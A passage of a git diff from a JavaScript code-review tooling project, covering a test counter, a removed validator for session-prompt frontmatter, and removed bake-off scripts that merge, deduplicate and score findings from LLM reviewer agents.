// (SKAL-1·4b). Kept as a regex (not a single filename) so a future split-out
// is bucketed correctly without editing this module.
export const GOLD_EVAL_FILE_RE = /gold-eval\.test\.mjs$/;
function walk(dir) {
const out = [];
for (const e of readdirSync(dir, { withFileTypes: true })) {
const p = join(dir, e.name);
if (e.isDirectory()) out.push(...walk(p));
else if (e.isFile() && e.name.endsWith('.test.mjs')) out.push(p);
}
return out;
}
function countTests(file) {
return (readFileSync(file, 'utf-8').match(/^\s*test\(/gm) || []).length;
}
// Returns { behavior, docPins, goldEval, total, byFile } for all *.test.mjs
// under testsRoot. behavior + docPins + goldEval === total by construction.
export function censusTests(testsRoot) {
const files = walk(testsRoot).sort();
const byFile = {};
let behavior = 0;
let docPins = 0;
let goldEval = 0;
for (const f of files) {
const n = countTests(f);
byFile[f] = n;
if (PIN_FILE_RE.test(f)) docPins += n;
else if (GOLD_EVAL_FILE_RE.test(f)) goldEval += n;
else behavior += n;
}
return { behavior, docPins, goldEval, total: behavior + docPins + goldEval, byFile };
}

View file

@ -1,224 +0,0 @@
// lib/validators/next-session-prompt-validator.mjs
// Validate NEXT-SESSION-PROMPT.local.md frontmatter (Bug 3 contract).
//
// Producers (trekexecute Phase 8/2.55/4, trekendsession Phase 3) MUST write
// `produced_by:` and `produced_at:` (ISO-8601) frontmatter.
// Consumers (/trekcontinue Phase 1.5) compare two candidate files and refuse
// when producers disagree on a non-stale pair.
//
// Schema is forward-compatible: unknown frontmatter keys are tolerated.
import { readFileSync, existsSync } from 'node:fs';
import { issue, fail } from '../util/result.mjs';
import { splitFrontmatter, parseFrontmatter } from '../util/frontmatter.mjs';
import { isMain } from '../util/is-main.mjs';
export const NEXT_SESSION_PROMPT_REQUIRED_FIELDS = Object.freeze(['produced_by', 'produced_at']);
const ONE_DAY_MS = 24 * 60 * 60 * 1000;
export function validateNextSessionPromptContent(text) {
const split = splitFrontmatter(text);
if (!split.hasFrontmatter) {
return {
valid: true,
errors: [],
warnings: [issue(
'NEXT_SESSION_PROMPT_NO_FRONTMATTER',
'NEXT-SESSION-PROMPT.local.md has no YAML frontmatter',
'Producers should write produced_by and produced_at; legacy files are tolerated.',
)],
parsed: null,
};
}
const fm = parseFrontmatter(split.frontmatter);
if (!fm.valid) {
return { valid: false, errors: fm.errors, warnings: [], parsed: fm.parsed || null };
}
return validateNextSessionPromptObject(fm.parsed);
}
export function validateNextSessionPromptObject(parsed) {
const errors = [];
const warnings = [];
if (typeof parsed !== 'object' || parsed === null) {
return fail(issue('NEXT_SESSION_PROMPT_NOT_OBJECT', 'Frontmatter is not an object'));
}
for (const k of NEXT_SESSION_PROMPT_REQUIRED_FIELDS) {
if (!(k in parsed)) {
errors.push(issue(
'NEXT_SESSION_PROMPT_MISSING_FIELD',
`Required frontmatter field missing: ${k}`,
));
}
}
if (parsed.produced_at !== undefined) {
if (typeof parsed.produced_at !== 'string' || Number.isNaN(Date.parse(parsed.produced_at))) {
errors.push(issue(
'NEXT_SESSION_PROMPT_INVALID_TIMESTAMP',
`produced_at "${parsed.produced_at}" is not a valid ISO-8601 timestamp`,
));
}
}
if (parsed.produced_by !== undefined) {
if (typeof parsed.produced_by !== 'string' || parsed.produced_by.length === 0) {
errors.push(issue(
'NEXT_SESSION_PROMPT_INVALID_PRODUCER',
'produced_by must be a non-empty string',
));
}
}
return { valid: errors.length === 0, errors, warnings, parsed };
}
export function validateNextSessionPrompt(filePath) {
if (!existsSync(filePath)) {
return fail(issue('NEXT_SESSION_PROMPT_NOT_FOUND', `File not found: ${filePath}`));
}
let text;
try { text = readFileSync(filePath, 'utf-8'); }
catch (e) {
return fail(issue('NEXT_SESSION_PROMPT_READ_ERROR', `Cannot read ${filePath}: ${e.message}`));
}
return validateNextSessionPromptContent(text);
}
/**
* Compare two NEXT-SESSION-PROMPT files for consistency.
* Optional state object enables state-anchored staleness check.
*
* @param {{path:string, parsed:object|null}} a
* @param {{path:string, parsed:object|null}} b
* @param {{state?: {updated_at?: string}, now?: number}} opts
*/
export function validateNextSessionPromptConsistency(a, b, opts = {}) {
const errors = [];
const warnings = [];
const now = typeof opts.now === 'number' ? opts.now : Date.now();
const stateUpdatedAt = opts.state && opts.state.updated_at
? Date.parse(opts.state.updated_at)
: NaN;
const stale = (cand) => {
if (!cand || !cand.parsed || !cand.parsed.produced_at) return false;
if (Number.isNaN(stateUpdatedAt)) return false;
const t = Date.parse(cand.parsed.produced_at);
if (Number.isNaN(t)) return false;
return t < stateUpdatedAt;
};
const aStale = stale(a);
const bStale = stale(b);
const aFm = a && a.parsed;
const bFm = b && b.parsed;
if (aFm && bFm) {
const producerMismatch = aFm.produced_by !== bFm.produced_by;
const bothFresh = !aStale && !bStale;
if (producerMismatch && bothFresh) {
errors.push(issue(
'NEXT_SESSION_PROMPT_PRODUCER_MISMATCH',
`Frontmatter "produced_by" disagrees: "${aFm.produced_by}" (${a.path}) vs "${bFm.produced_by}" (${b.path})`,
'One file is stale or producers wrote conflicting frontmatter. Resolve manually.',
));
} else if (producerMismatch && (aStale || bStale)) {
const fresh = aStale ? b : a;
warnings.push(issue(
'NEXT_SESSION_PROMPT_STALE_IGNORED',
`Stale candidate ignored; using fresher prompt from ${fresh.path}`,
));
}
for (const cand of [a, b]) {
if (!cand || !cand.parsed || !cand.parsed.produced_at) continue;
const t = Date.parse(cand.parsed.produced_at);
if (Number.isNaN(t)) continue;
if (now - t > ONE_DAY_MS) {
warnings.push(issue(
'NEXT_SESSION_PROMPT_WALL_CLOCK_DRIFT',
`${cand.path} produced_at is more than 24h old (${cand.parsed.produced_at})`,
'Soft warning only. Resuming after a long pause is fine; verify state is still relevant.',
));
}
}
}
return { valid: errors.length === 0, errors, warnings, parsed: { a: aFm || null, b: bFm || null } };
}
if (isMain(import.meta.url)) {
const args = process.argv.slice(2);
// The valued flag (--state-file) consumes its value before positionals are
// collected, so the state file is never counted as a third path.
const positionals = [];
let wantJson = false;
let consistency = false;
let stateFile = null;
for (let i = 0; i < args.length; i++) {
const a = args[i];
if (a === '--state-file') {
const v = args[++i];
if (v === undefined || v.startsWith('--')) {
process.stderr.write('next-session-prompt-validator: --state-file needs a value\n');
process.exit(2);
}
stateFile = v;
} else if (a === '--json') wantJson = true;
else if (a === '--consistency') consistency = true;
else if (!a.startsWith('--')) positionals.push(a);
}
function emit(r) {
if (wantJson) {
process.stdout.write(JSON.stringify({ valid: r.valid, errors: r.errors, warnings: r.warnings }, null, 2) + '\n');
} else {
process.stdout.write(`next-session-prompt-validator: ${r.valid ? 'PASS' : 'FAIL'}\n`);
for (const e of r.errors) process.stderr.write(` ERROR [${e.code}] ${e.message}\n`);
for (const w of r.warnings) process.stderr.write(` WARN [${w.code}] ${w.message}\n`);
}
process.exit(r.valid ? 0 : 1);
}
if (consistency) {
const fileArgs = positionals;
if (fileArgs.length !== 2) {
process.stderr.write('Usage: next-session-prompt-validator.mjs --json --consistency <path-a> <path-b> [--state-file <state.json>]\n');
process.exit(2);
}
const [pathA, pathB] = fileArgs;
const ra = validateNextSessionPrompt(pathA);
const rb = validateNextSessionPrompt(pathB);
let stateObj = null;
if (stateFile) {
try {
const txt = readFileSync(stateFile, 'utf-8');
stateObj = JSON.parse(txt);
} catch (_e) {
stateObj = null;
}
}
const r = validateNextSessionPromptConsistency(
{ path: pathA, parsed: ra.parsed },
{ path: pathB, parsed: rb.parsed },
{ state: stateObj },
);
emit({
// Valid only when the pair is consistent AND A and B are each valid.
valid: r.valid && ra.valid !== false && rb.valid !== false,
errors: [...(ra.errors || []), ...(rb.errors || []), ...r.errors],
warnings: [...(ra.warnings || []), ...(rb.warnings || []), ...r.warnings],
});
} else {
if (positionals.length !== 1) {
process.stderr.write('Usage: next-session-prompt-validator.mjs [--json] <NEXT-SESSION-PROMPT.local.md>\n');
process.exit(2);
}
const r = validateNextSessionPrompt(positionals[0]);
emit(r);
}
}

View file

@ -1,6 +1,6 @@
// lib/validators/plan-validator.mjs
// Wraps plan-schema (heading shape) + manifest-yaml (per-step Manifest blocks).
// This is the JS equivalent of Phase 5.5 grep checks in planning-orchestrator.
// This is the JS equivalent of the plan's Phase 5.5 grep checks.
//
// Schema is forward-compatible: unknown top-level frontmatter keys are
// tolerated silently. Strict-key checks are intentionally avoided so new

View file

@ -69,9 +69,8 @@ const MAX_BUFFER = 64 * 1024 * 1024;
// Fenced blocks are read TWICE over, for two opposite reasons: a `## ` heading
// inside a fence is quoted text and must not open a section (the repo's own
// examples/02-real-cli/REGENERATED.md quotes a whole plan outline inside one),
// while a shell-tagged fence INSIDE the section holds the commands themselves
// (examples/01-add-verbose-flag/plan.md writes its whole acceptance run that
// way). Reading only bullets made a correct plan parse to zero criteria, exit
// while a shell-tagged fence INSIDE the section holds the commands themselves.
// Reading only bullets made a correct plan parse to zero criteria, exit
// 1, and fell every single-session run — measured 2026-09-18.
const FENCE = /^\s*(?:```|~~~)(.*)$/;

View file

@ -9,8 +9,7 @@
},
"scripts": {
"test": "node --import ./tests/helpers/no-session-id.mjs --test 'tests/**/*.test.mjs'",
"annotate": "node scripts/annotate.mjs",
"verify": "bash verify.sh"
"annotate": "node scripts/annotate.mjs"
},
"keywords": [
"claude-code",

View file

@ -1,105 +0,0 @@
// scripts/bakeoff-armA-merge.mjs
// NW2 bake-off — Arm A (prose path) merge step.
//
// Arm A is the CURRENT /trekreview Phase 5–6 substrate: main spawns the two
// reviewers FOREGROUND (Agent tool), each emits a trailing fenced ```json block
// of findings (the prose contract), and main hand-validates + dedups before
// spawning the coordinator. This script is that hand-validate + dedup, made
// reproducible:
//
// for each reviewer raw-output file:
// validateReviewerOutput() (NW1 — extract last json fence, parse, schema-check)
// collect findings from VALID reviewers
// triplet-dedup by (file,line,rule_key) [same key as Arm B's dedupByTriplet,
// first-wins here; Arm B ranks by tier
// and keeps the reviewer finding on a
// tie — triplet-only, no jaccard pass-2]
// → emit { merged, validation, raw_finding_count, deduped_count }
//
// The merged findings are then handed to the review-coordinator (spawned by main),
// mirroring Arm B's coordinatorPrompt input. JSON-robustness metric = the
// `validation` report (parse/schema failures + which codes).
//
// Usage:
// node scripts/bakeoff-armA-merge.mjs [--json] <reviewerA.txt> <reviewerB.txt> ...
// → stdout: merged findings JSON (or full report with --json). Exit 0 always
// (validation failures are reported in-band, not as a nonzero exit).
import { readFileSync, existsSync } from 'node:fs';
import { validateReviewerOutput } from '../lib/review/findings-schema.mjs';
import { isMain } from '../lib/util/is-main.mjs';
// Triplet dedup — the same (file,line,rule_key) key as
// scripts/trekreview-armB.workflow.mjs `dedupByTriplet`, but not the same
// policy: Arm A keeps the first-seen finding, while Arm B ranks by catalogue
// tier and keeps the reviewer finding on a tie (review bc7f4e23). Triplet-only;
// NO jaccard pass-2.
export function dedupByTriplet(findings) {
const seen = new Map();
for (const f of findings) {
const key = `${f.file} ${f.line} ${f.rule_key}`;
if (!seen.has(key)) seen.set(key, f);
}
return [...seen.values()];
}
/**
* Merge an array of reviewer raw-output texts into the coordinator's input.
* @param {Array<{label?: string, text: string}>} reviewerOutputs
* @returns {{ merged, validation, raw_finding_count, deduped_count }}
*/
export function mergeArmA(reviewerOutputs) {
const validation = [];
const allFindings = [];
for (const { label, text } of reviewerOutputs) {
const r = validateReviewerOutput(text);
validation.push({
label: label || null,
valid: r.valid,
finding_count: Array.isArray(r.parsed?.findings) ? r.parsed.findings.length : 0,
error_codes: (r.errors || []).map((e) => e.code),
warning_codes: (r.warnings || []).map((w) => w.code),
});
// Mirror Phase 5: only VALID reviewer output flows to the coordinator.
if (r.valid && Array.isArray(r.parsed?.findings)) {
allFindings.push(...r.parsed.findings);
}
}
const merged = dedupByTriplet(allFindings);
return {
merged,
validation,
raw_finding_count: allFindings.length,
deduped_count: merged.length,
};
}
// ---- CLI shim ----------------------------------------------------------------
if (isMain(import.meta.url)) {
const argv = process.argv.slice(2);
const asJson = argv.includes('--json');
const files = argv.filter((a) => !a.startsWith('--'));
if (files.length === 0) {
process.stderr.write('Usage: bakeoff-armA-merge.mjs [--json] <reviewer-output> ...\n');
process.exit(2);
}
const outputs = files.map((f) => {
if (!existsSync(f)) {
process.stderr.write(`bakeoff-armA-merge: file not found: ${f}\n`);
process.exit(2);
}
return { label: f, text: readFileSync(f, 'utf-8') };
});
const result = mergeArmA(outputs);
if (asJson) {
process.stdout.write(JSON.stringify(result, null, 2) + '\n');
} else {
process.stdout.write(JSON.stringify(result.merged, null, 2) + '\n');
process.stderr.write(
`arm-A merge: ${result.raw_finding_count} raw → ${result.deduped_count} deduped; ` +
`validation ${result.validation.map((v) => `${v.label}:${v.valid ? 'OK' : v.error_codes.join('/')}`).join(' ')}\n`,
);
}
process.exit(0);
}

View file

@ -1,124 +0,0 @@
// scripts/bakeoff-fidelity.mjs
// NW2 bake-off — fidelity analysis across ≥3 runs/arm (S10 part B).
//
// Consumes the per-run structured arm outputs ({verdict, findings:[...]}) and
// computes the T2 §5 fidelity picture:
//
// - CROSS-ARM (PRIMARY): every (Ai, Bj) pair via fidelityDiffStructured
// (lib/review/fidelity-diff.mjs) → median jaccard, verdict-match rate,
// equivalence rate, severity/rule_key mismatch tallies.
// - WITHIN-ARM (context): each arm's own run-to-run variance (Ai vs Aj),
// so cross-arm divergence can be read against each arm's intrinsic noise.
// - Distributions: per-arm verdicts + finding counts.
//
// Pure analysis over JSON the live runs produced — no LLM, deterministic.
//
// Usage:
// node scripts/bakeoff-fidelity.mjs --armA a1.json a2.json a3.json \
// --armB b1.json b2.json b3.json [--json]
// Each *.json is a structured arm result: {"verdict": "...", "findings": [...]}.
import { readFileSync } from 'node:fs';
import { fidelityDiffStructured } from '../lib/review/fidelity-diff.mjs';
import { isMain } from '../lib/util/is-main.mjs';
function median(nums) {
if (nums.length === 0) return null;
const s = [...nums].sort((a, b) => a - b);
const mid = Math.floor(s.length / 2);
return s.length % 2 ? s[mid] : (s[mid - 1] + s[mid]) / 2;
}
function round(n, d = 4) {
return n === null ? null : Number(n.toFixed(d));
}
function pairwise(arms, label) {
const out = [];
for (let i = 0; i < arms.length; i++) {
for (let j = i + 1; j < arms.length; j++) {
const d = fidelityDiffStructured(arms[i].result, arms[j].result);
out.push({ pair: `${label}${i + 1}×${label}${j + 1}`, jaccard: round(d.jaccard), verdictMatch: d.verdictMatch, equivalent: d.equivalent });
}
}
return out;
}
/**
* @param {Array<{name, result:{verdict,findings}}>} armA
* @param {Array<{name, result:{verdict,findings}}>} armB
*/
export function analyze(armA, armB) {
// Cross-arm — the substrate comparison.
const cross = [];
for (let i = 0; i < armA.length; i++) {
for (let j = 0; j < armB.length; j++) {
const d = fidelityDiffStructured(armA[i].result, armB[j].result);
cross.push({
pair: `A${i + 1}×B${j + 1}`,
verdictA: d.verdictA, verdictB: d.verdictB, verdictMatch: d.verdictMatch,
jaccard: round(d.jaccard), countA: d.countA, countB: d.countB,
severityMismatches: d.severityMismatches.length,
ruleKeyMismatches: d.ruleKeyMismatches.length,
equivalent: d.equivalent,
});
}
}
const crossJ = cross.map((c) => c.jaccard);
const summary = {
runs: { armA: armA.length, armB: armB.length },
cross_arm: {
median_jaccard: round(median(crossJ)),
min_jaccard: round(Math.min(...crossJ)),
max_jaccard: round(Math.max(...crossJ)),
verdict_match_rate: round(cross.filter((c) => c.verdictMatch).length / cross.length, 3),
equivalent_rate: round(cross.filter((c) => c.equivalent).length / cross.length, 3),
severity_mismatch_pairs: cross.filter((c) => c.severityMismatches > 0).length,
rulekey_mismatch_pairs: cross.filter((c) => c.ruleKeyMismatches > 0).length,
},
within_arm_A: pairwise(armA, 'A'),
within_arm_B: pairwise(armB, 'B'),
distributions: {
armA_verdicts: armA.map((a) => a.result.verdict),
armB_verdicts: armB.map((b) => b.result.verdict),
armA_counts: armA.map((a) => (a.result.findings || []).length),
armB_counts: armB.map((b) => (b.result.findings || []).length),
},
};
return { summary, cross };
}
// ---- CLI shim ----------------------------------------------------------------
if (isMain(import.meta.url)) {
const argv = process.argv.slice(2);
const asJson = argv.includes('--json');
function collect(flag) {
const i = argv.indexOf(flag);
if (i === -1) return [];
const files = [];
for (let k = i + 1; k < argv.length && !argv[k].startsWith('--'); k++) files.push(argv[k]);
return files.map((f) => ({ name: f, result: JSON.parse(readFileSync(f, 'utf-8')) }));
}
const armA = collect('--armA');
const armB = collect('--armB');
if (armA.length === 0 || armB.length === 0) {
process.stderr.write('Usage: bakeoff-fidelity.mjs --armA a*.json --armB b*.json [--json]\n');
process.exit(2);
}
const { summary, cross } = analyze(armA, armB);
if (asJson) {
process.stdout.write(JSON.stringify({ summary, cross }, null, 2) + '\n');
} else {
const x = summary.cross_arm;
process.stdout.write('NW2 bake-off fidelity (cross-arm = PRIMARY)\n');
process.stdout.write(` runs: A=${summary.runs.armA} B=${summary.runs.armB}\n`);
process.stdout.write(` median jaccard: ${x.median_jaccard} (min ${x.min_jaccard}, max ${x.max_jaccard})\n`);
process.stdout.write(` verdict-match rate: ${x.verdict_match_rate}\n`);
process.stdout.write(` equivalent rate: ${x.equivalent_rate}\n`);
process.stdout.write(` severity-mismatch pairs: ${x.severity_mismatch_pairs}; rule_key-mismatch pairs: ${x.rulekey_mismatch_pairs}\n`);
process.stdout.write(` armA verdicts: ${summary.distributions.armA_verdicts.join(',')} | counts ${summary.distributions.armA_counts.join(',')}\n`);
process.stdout.write(` armB verdicts: ${summary.distributions.armB_verdicts.join(',')} | counts ${summary.distributions.armB_counts.join(',')}\n`);
}
process.exit(0);
}

View file

@ -1,487 +0,0 @@
// scripts/trekreview-armB.workflow.mjs
// NW2 bake-off — Arm B: /trekreview Phase 5–6 reimplemented as a Workflow.
//
// This is the T2 §5 Arm B substrate: where the prose path (Arm A) has main
// spawn two reviewers, hand-parse their trailing JSON, JS-dedup, then spawn the
// coordinator, Arm B expresses the SAME pipeline as one Workflow —
// parallel([conformance, correctness]) with a findings SCHEMA (StructuredOutput
// forces typed findings — no JSON.parse dance, F2 win)
// → plain-JS dedup by (file,line,rule_key) [inlined; scripts have no imports]
// → agent(review-coordinator) with a verdict SCHEMA
// → return { verdict, findings } structured (Phase 7 rendering stays shared/prose).
//
// Phases 1–4 (parse/triage) + 7–8 (render/validate/stats) stay prose in BOTH
// arms; the bake-off pins their output and passes it in via `args`. The reviewer
// agents carry Read, so paths are passed (not inlined content):
// args = { briefPath: <path to brief.md>, diffPath: <path to unified diff>,
// triage: <"path → treatment" lines>, quick?: bool,
// enginePayloads?: [<lib/review/engine-findings.mjs payload>, ...],
// engineNotRun?: [<reviewer name>, ...] }
//
// Ordre 5: the Claude Code engine payloads (Phase 4.7, run in prose before this
// script) are merged with the reviewers' findings; a reviewer or engine that
// returned nothing forbids ALLOW (fail-closed, as on the prose path); and no
// finding is struck for length. A coordinator that returns no verdict and
// findings counts as a missing reviewer, and every reviewer, engine and
// coordinator that did not deliver is named in `allow_blocked_by` (review edf2ec56).
//
// Run via the Workflow tool: Workflow({ scriptPath: this file, args }).
// The structured result is logged as a single JSON line (prefix RESULT_JSON:)
// AND returned, so the bake-off harness can recover {verdict, findings}.
export const meta = {
name: 'trekreview-armB',
description: 'NW2 bake-off Arm B — /trekreview Phase 5–6 as a Workflow (schema-validated parallel reviewers, JS triplet-dedup, coordinator verdict)',
phases: [
{ title: 'Review', detail: 'parallel conformance + correctness reviewers, findings schema-forced' },
{ title: 'Coordinate', detail: 'JS dedup-by-triplet, then review-coordinator verdict' },
],
};
const SEVERITIES = ['BLOCKER', 'MAJOR', 'MINOR', 'SUGGESTION'];
// Every catalogue rule_key -> its tier (lib/review/rule-catalogue.mjs; scripts
// cannot import, so it is inlined and pinned equal by the workflow test).
const RULE_TIERS = {
MISSING_BRIEF_REF: 'MAJOR', UNIMPLEMENTED_CRITERION: 'BLOCKER', SCOPE_CREEP_BUILT: 'MAJOR',
NON_GOAL_VIOLATED: 'BLOCKER', MISSING_TEST: 'MAJOR', SECURITY_INJECTION: 'BLOCKER',
PLACEHOLDER_IN_CODE: 'MAJOR', MISSING_ERROR_HANDLING: 'MINOR', UNDECLARED_DEPENDENCY: 'MAJOR',
PLAN_EXECUTE_DRIFT: 'MAJOR', BROKEN_SUCCESS_CRITERION: 'BLOCKER', COVERAGE_SILENT_SKIP: 'MAJOR',
CODE_REVIEW_DEFECT: 'MAJOR', CODE_REVIEW_IMPROVEMENT: 'MINOR', SECURITY_REVIEW_VULNERABILITY: 'BLOCKER',
CLAUDE_MD_DEVIATION: 'MINOR', CLAUDE_MD_STALE: 'MINOR',
};
const RULE_KEYS = Object.keys(RULE_TIERS);
// Lower number = higher severity; an unknown severity ranks last (as
// lib/review/coordinator-contract.mjs severityRank does).
const sevRank = (s) => (SEVERITIES.includes(s) ? SEVERITIES.indexOf(s) : SEVERITIES.length);
// The catalogue tier of a rule_key, or null when the key is missing or unknown.
const tierOf = (key) => (typeof key === 'string' && Object.prototype.hasOwnProperty.call(RULE_TIERS, key) ? RULE_TIERS[key] : null);
// The rank of a finding's catalogue tier, else of its own severity.
const tierRank = (f) => sevRank(tierOf(f.rule_key) ?? f.severity);
// The (file,line,rule_key) triplet a finding is deduped and matched on.
const tripletOf = (f) => `${f.file}\u0000${f.line}\u0000${f.rule_key}`;
// A finding's title as the grouping compares it: trimmed, lower case.
const normTitle = (f) => String(f.title).trim().toLowerCase();
// The row a finding is matched to after the coordinator: its triplet plus its
// `normTitle`. An untitled finding gets a key no titled row has.
const rowOf = (f) => `${tripletOf(f)}\u0000${f.title === undefined ? '\u0001' : normTitle(f)}`;
// The coordinator trims an over-long MINOR/SUGGESTION title as
// lib/review/coordinator-contract.mjs judgeFilter does; its marker and limit
// are inlined (scripts cannot import) and pinned equal by the workflow test.
const TRIM_MARKER = ' […trimmed]';
const JUDGE_TITLE_MAX = 100;
// A title as that trim writes it: over JUDGE_TITLE_MAX characters, cut to
// leave room for the marker, then the marker; any other title unchanged.
const trimmedTitle = (t) => (t.length > JUDGE_TITLE_MAX ? t.slice(0, JUDGE_TITLE_MAX - TRIM_MARKER.length) + TRIM_MARKER : t);
// Findings schema — mirrors lib/review/findings-schema.mjs (NW1). The enum on
// rule_key enforces the catalogue at the StructuredOutput layer (stronger than
// NW1's post-hoc check: the agent cannot emit an out-of-catalogue key at all).
const FINDINGS_SCHEMA = {
type: 'object',
additionalProperties: true,
required: ['reviewer', 'findings'],
properties: {
reviewer: { type: 'string' },
findings: {
type: 'array',
items: {
type: 'object',
additionalProperties: true,
required: ['severity', 'rule_key', 'file', 'line', 'title', 'detail'],
properties: {
severity: { type: 'string', enum: SEVERITIES },
rule_key: { type: 'string', enum: RULE_KEYS },
file: { type: 'string', minLength: 1 },
line: { type: 'integer', minimum: 0 },
brief_ref: { type: 'string' },
title: { type: 'string', minLength: 1 },
detail: { type: 'string' },
recommended_action: { type: 'string' },
},
},
},
},
};
const VERDICT_SCHEMA = {
type: 'object',
additionalProperties: true,
required: ['verdict', 'findings'],
properties: {
verdict: { type: 'string', enum: ['BLOCK', 'WARN', 'ALLOW'] },
rationale: { type: 'string' },
findings: {
type: 'array',
items: {
type: 'object',
additionalProperties: true,
required: ['severity', 'rule_key', 'file', 'line'],
properties: {
severity: { type: 'string', enum: SEVERITIES },
rule_key: { type: 'string', enum: RULE_KEYS },
file: { type: 'string', minLength: 1 },
line: { type: 'integer', minimum: 0 },
title: { type: 'string' },
detail: { type: 'string' },
engine: { type: 'string', enum: ['code-review', 'security-review'] },
contradicts_brief: { type: 'string' },
brief_lowered_from: { type: 'string', enum: ['MAJOR'] },
},
},
},
},
};
// Inlined dedup by (file,line,rule_key) — the JS-side replacement for the
// coordinator's pass-1 triplet dedup (T2 §5 / lib/review/plan-review-dedup.mjs
// pattern; scripts cannot import, so the triplet key is inlined). The survivor
// order is coordinator-contract Pass 1's (review bc7f4e23): the catalogue tier
// first (for a catalogue key it always ties inside one triplet, since the
// rule_key is shared), then a reviewer finding (no `engine`) over an engine
// finding (decision 13, operator 12.10), then the higher asserted severity,
// then the conformance reviewer (a source whose name holds "conformance", as
// the contract's isConformance reads the reviewer name), else the first in the
// group's order stays (the order the two passes below place the members in).
// The survivor carries the highest severity any finding in its group asserted,
// so an engine's mark never lowers what a reviewer agent asserted.
// As in coordinator-contract Pass 1, one source never duplicates itself: its
// second finding on a triplet under another title opens a group of its own
// (voyage-lekerepo trial 5, finding 7). `sourceOf` names the reviewer or engine.
const sameTitle = (a, b) => a.title === undefined || b.title === undefined || normTitle(a) === normTitle(b);
// As there too, a triplet's findings are grouped in two passes, so the order
// they arrive in never changes which row a finding joins: (1) every titled
// finding joins the class of its normalized title, over all of the triplet's
// findings; (2) the classes, in alphabetical order of the normalized title,
// each join the first earlier group whose every member fits every finding of
// the class (another source, or the same title), else they form a group of
// their own; untitled findings come last, in canonical order (source, detail,
// the whole finding), each joining the first group it fits. Members keep the
// order the passes place them in (the classes alphabetically, each class's
// findings in canonical order, the untitled findings last), so a full tie on
// the survivor never follows arrival order either; a triplet's groups keep the
// order of their earliest input index. With `perSource: false` everything on a
// triplet is one group, as before. A `rows` Map, when given, is filled with
// each row written -> the findings of its group (the put-back reads it).
const sourceOf = new Map();
const isConformance = (f) => String(sourceOf.get(f) ?? '').toLowerCase().includes('conformance');
const cmpStr = (a, b) => (a < b ? -1 : a > b ? 1 : 0);
function groupTriplet(entries) {
const srcOf = (f) => sourceOf.get(f) ?? null;
const fits = (m, f) => srcOf(m) !== srcOf(f) || sameTitle(m, f);
const canon = (x, y) => cmpStr(String(srcOf(x.f) ?? ''), String(srcOf(y.f) ?? ''))
|| cmpStr(String(x.f.detail ?? ''), String(y.f.detail ?? ''))
|| cmpStr(JSON.stringify(x.f), JSON.stringify(y.f));
const classes = new Map();
const untitled = [];
for (const e of entries) {
if (e.f.title === undefined) {
untitled.push(e);
continue;
}
const t = normTitle(e.f);
if (!classes.has(t)) classes.set(t, []);
classes.get(t).push(e);
}
const groups = [];
const place = (members) => {
let g = groups.find((grp) => grp.every((m) => members.every((e) => fits(m.f, e.f))));
if (!g) {
g = [];
groups.push(g);
}
g.push(...members);
};
for (const t of [...classes.keys()].sort(cmpStr)) place(classes.get(t).sort(canon));
for (const e of untitled.sort(canon)) place([e]);
return groups
.map((g) => ({ first: Math.min(...g.map((e) => e.i)), members: g.map((e) => e.f) }))
.sort((a, b) => a.first - b.first)
.map((g) => g.members);
}
function dedupByTriplet(findings, { perSource = true, rows = null } = {}) {
const byTriplet = new Map();
findings.forEach((f, i) => {
const key = tripletOf(f);
if (!byTriplet.has(key)) byTriplet.set(key, []);
byTriplet.get(key).push({ f, i });
});
const groups = [...byTriplet.values()].flatMap((entries) => (perSource
? groupTriplet(entries)
: [entries.map((e) => e.f)]));
const out = [];
for (const group of groups) {
let survivor = group[0];
for (const f of group.slice(1)) {
const tf = tierRank(f);
const ts = tierRank(survivor);
if (tf !== ts) {
if (tf < ts) survivor = f;
continue;
}
const ef = Boolean(f.engine);
const es = Boolean(survivor.engine);
if (ef !== es) {
if (!ef) survivor = f;
continue;
}
const rf = sevRank(f.severity);
const rs = sevRank(survivor.severity);
if (rf !== rs) {
if (rf < rs) survivor = f;
continue;
}
if (isConformance(f) && !isConformance(survivor)) survivor = f;
}
let severity = survivor.severity;
for (const f of group) {
if (sevRank(f.severity) < sevRank(severity)) severity = f.severity;
}
const row = severity === survivor.severity ? survivor : { ...survivor, severity };
if (rows) rows.set(row, group);
out.push(row);
}
return out;
}
function reviewerPrompt(kind, a) {
return [
`You are reviewing delivered code for /trekreview (bake-off Arm B, ${kind}).`,
`Read the brief (the contract) at: ${a.briefPath}`,
`Read the unified diff (the delivered change under review) at: ${a.diffPath}`,
'Emit findings via the StructuredOutput tool, conforming to the provided schema.',
'Only emit findings whose rule_key is in the catalogue. Cite file:line from the diff.',
'',
'=== TRIAGE MAP (respect skip decisions) ===',
a.triage || '(no triage map supplied — deep-review every changed file except docs/**, root Markdown other than CLAUDE.md and AGENTS.md, and tests/fixtures/**)',
].join('\n');
}
function coordinatorPrompt(merged, a) {
return [
'You are the review-coordinator (Judge Agent) for /trekreview, Arm B.',
'The reviewers have already run and their findings are PRE-DEDUPLICATED by',
'(file,line,rule_key) in JS. Do NOT re-dedup. Apply ONLY bounded operations:',
'HubSpot Judge filters (accuracy / actionability; succinctness NEVER removes a',
'finding — trim only MINOR/SUGGESTION text, keep BLOCKER/MAJOR whole), Cloudflare',
'reasonableness (drop a finding with no file:line citation or whose file is in neither the tree nor the diff; keep, never drop, a finding whose rule_key is not in the catalogue or whose file cannot be checked), then compute',
'the verdict (BLOCK if any BLOCKER; WARN if any MAJOR; else ALLOW).',
'Return {verdict, findings} via StructuredOutput. Synthesis across files is forbidden.',
`The brief (the contract) is at: ${a.briefPath} — Read it if needed for context.`,
'',
'=== BRIEF CHOICES (the brief-conflict rule) ===',
`Read the brief's choices at ${a.briefPath}: \`## Non-Goals\`, \`## Constraints\`, \`## Preferences\`,`,
'and the operator decisions in `## Open Questions / Assumptions`.',
'Only an engine finding (`engine`: code-review or security-review) whose recommended action',
'contradicts one of those choices is marked, with `contradicts_brief: "<the Non-Goal or choice, verbatim>"`.',
'Only a /code-review finding at the MAJOR tier and at severity MAJOR then drops to MINOR, with',
"`brief_lowered_from: 'MAJOR'`. Every other marked finding keeps its severity. A reviewer-agent finding",
'(no `engine`) and a finding whose rule_key is not in the catalogue are never marked. A brief-conflicting',
'finding is kept and marked, never removed. Each returned finding keeps its `engine` and `rule_key`.',
'',
'=== PRE-DEDUPED FINDINGS (JSON) ===',
JSON.stringify(merged, null, 2),
].join('\n');
}
let a = args || {};
if (typeof a === 'string') {
try { a = JSON.parse(a); } catch { a = {}; }
}
log(`Arm B args: type=${typeof args}; keys=${Object.keys(a || {}).join(',') || '(none)'}`);
if (!a || !a.briefPath || !a.diffPath) {
